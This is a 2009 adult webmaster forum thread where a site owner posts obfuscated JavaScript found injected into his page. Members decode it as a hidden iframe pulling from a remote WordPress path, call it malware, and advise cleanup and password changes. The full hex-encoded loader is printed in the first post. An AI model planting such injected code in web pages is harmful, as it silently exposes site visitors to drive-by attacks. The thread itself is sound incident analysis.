Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Script gurus ..Anybody know what this does ??? Script gurus ..Anybody know what this does ???
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 08-27-2009, 07:00 AM   #1
halfpint
GFY's Halfpint
 
halfpint's Avatar
 
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
Script gurus ..Anybody know what this does ???
Found this on one of my mainstream index pages and I dont remember it being there before.

Just wondering if anybody knows what it does/or what its for

I have taken the "script tags" out just in case it is some malacious crap

function v4a90e91dbc9b8(v4a90e91dbcda0){ return(parseInt(v4a90e91dbcda0,16));}function v4a90e91dbe12a(v4a90e91dbe51a){ function v4a90e91dbf0cd () {return 2;} var v4a90e91dbe8ff='';for(v4a90e91dbece9=0; v4a90e91dbece9<v4a90e91dbe51a.length; v4a90e91dbece9+=v4a90e91dbf0cd()){ v4a90e91dbe8ff+=(String.fromCharCode(v4a90e91dbc9b 8(v4a90e91dbe51a.substr(v4a90e91dbece9, v4a90e91dbf0cd()))));}return v4a90e91dbe8ff;} document.write(v4a90e91dbe12a('3C696672616D65206E6 16D653D2737363227207372633D27687474703A2F2F7777772 E676F6F647374756666726576696577732E636F6D2F77702D6 96E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7 369643D31272077696474683D373235206865696768743D353 031207374796C653D27646973706C61793A6E6F6E65273E3C2 F696672616D653E'));
__________________

Get FREE website listings on Cryptocoinshops.net
halfpint is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 07:02 AM   #2
katharos
So Fucking Banned
 
Join Date: Nov 2005
Posts: 1,515
looks like some flash action script
katharos is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 07:06 AM   #3
halfpint
GFY's Halfpint
 
halfpint's Avatar
 
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
Quote:
Originally Posted by katharos View Post
looks like some flash action script
Very weird if it is some flash code as the site does not have any flash on it at all
__________________

Get FREE website listings on Cryptocoinshops.net
halfpint is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 07:22 AM   #4
woj
<&(©¿©)&>
 
woj's Avatar
 
Industry Role:
Join Date: Jul 2002
Location: Chicago
Posts: 47,882
if it's encoded like that 99.99% of the time it's some malicious crap...
__________________
Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager
woj is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 07:26 AM   #5
halfpint
GFY's Halfpint
 
halfpint's Avatar
 
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
Quote:
Originally Posted by woj View Post
if it's encoded like that 99.99% of the time it's some malicious crap...
yep thats what I was thinking .. somebody sure is trying hard to fuck up my websites, first my teen blog got hacked now this crap ..but its all fun and games I guess
__________________

Get FREE website listings on Cryptocoinshops.net
halfpint is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 07:27 AM   #6
spook
Registered User
 
spook's Avatar
 
Join Date: Jun 2009
Location: .au
Posts: 16
it appears to be this hexed:

<iframe name='762' src='www dot good stuff reviews dot com/wp-includes/pomo/koo/go.php?sid=1' width=725 height=501 style='display:none'></iframe>
spook is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 07:29 AM   #7
seeandsee
Check SIG!
 
seeandsee's Avatar
 
Industry Role:
Join Date: Mar 2006
Location: Europe (Skype: gojkoas)
Posts: 50,945
Its trojan/virus code
__________________
BUY MY SIG - 50$/Year

Contact here
seeandsee is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 08:36 AM   #8
BestXXXPorn
Confirmed User
 
BestXXXPorn's Avatar
 
Join Date: Jun 2009
Location: Asheville, NC
Posts: 2,277
Quote:
Originally Posted by spook View Post
it appears to be this hexed:

<iframe name='762' src='www dot good stuff reviews dot com/wp-includes/pomo/koo/go.php?sid=1' width=725 height=501 style='display:none'></iframe>
Hhahaha you beat me to it I was just un-encoding that :P
__________________
ICQ: 258-202-811 | Email: eric{at}bestxxxporn.com
BestXXXPorn is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 08:38 AM   #9
StuartD
Sofa King Band
 
StuartD's Avatar
 
Join Date: Jul 2002
Location: Outside the box
Posts: 29,903
Quote:
Originally Posted by spook View Post
it appears to be this hexed:

<iframe name='762' src='www dot good stuff reviews dot com/wp-includes/pomo/koo/go.php?sid=1' width=725 height=501 style='display:none'></iframe>
Yup, 99% of the time it's an encoded iframe where the page that's included can be just about anything.
StuartD is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 08:54 AM   #10
halfpint
GFY's Halfpint
 
halfpint's Avatar
 
Industry Role:
Join Date: Jun 2007
Location: UK
Posts: 15,223
Thanks guys for all of your replys
__________________

Get FREE website listings on Cryptocoinshops.net
halfpint is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 08-27-2009, 09:01 AM   #11
BenBlingBucks
Registered User
 
BenBlingBucks's Avatar
 
Join Date: Mar 2005
Location: Glen Cove, NY USA
Posts: 82
It means tighten up your servers is what it means, stop anal-eyesing and start fixing.

If you didn't put it there and nobody that works for you did either, then odds are you've been breached..... so trying to figure out what it does is secondary.

Re-upload your last good copy of pages.
Check your own PC for trojans/keyloggers.
Change all passwords next.

Then, TIGHTEN your servers... ask your host for their best guy to help look at your servers configuration.

Good luck, peace.
Ben
__________________

BlingBucks.com ... The Power To Deliver.
AIM:BenBlingBucks | ICQ:198435608 | [email protected]
Promote Pornstar.com for the best sign-up & conversion ratios.
BenBlingBucks is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Script gurus ..Anybody know what this does ??? Script gurus ..Anybody know what this does ???
« Previous Thread | Next Thread »

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.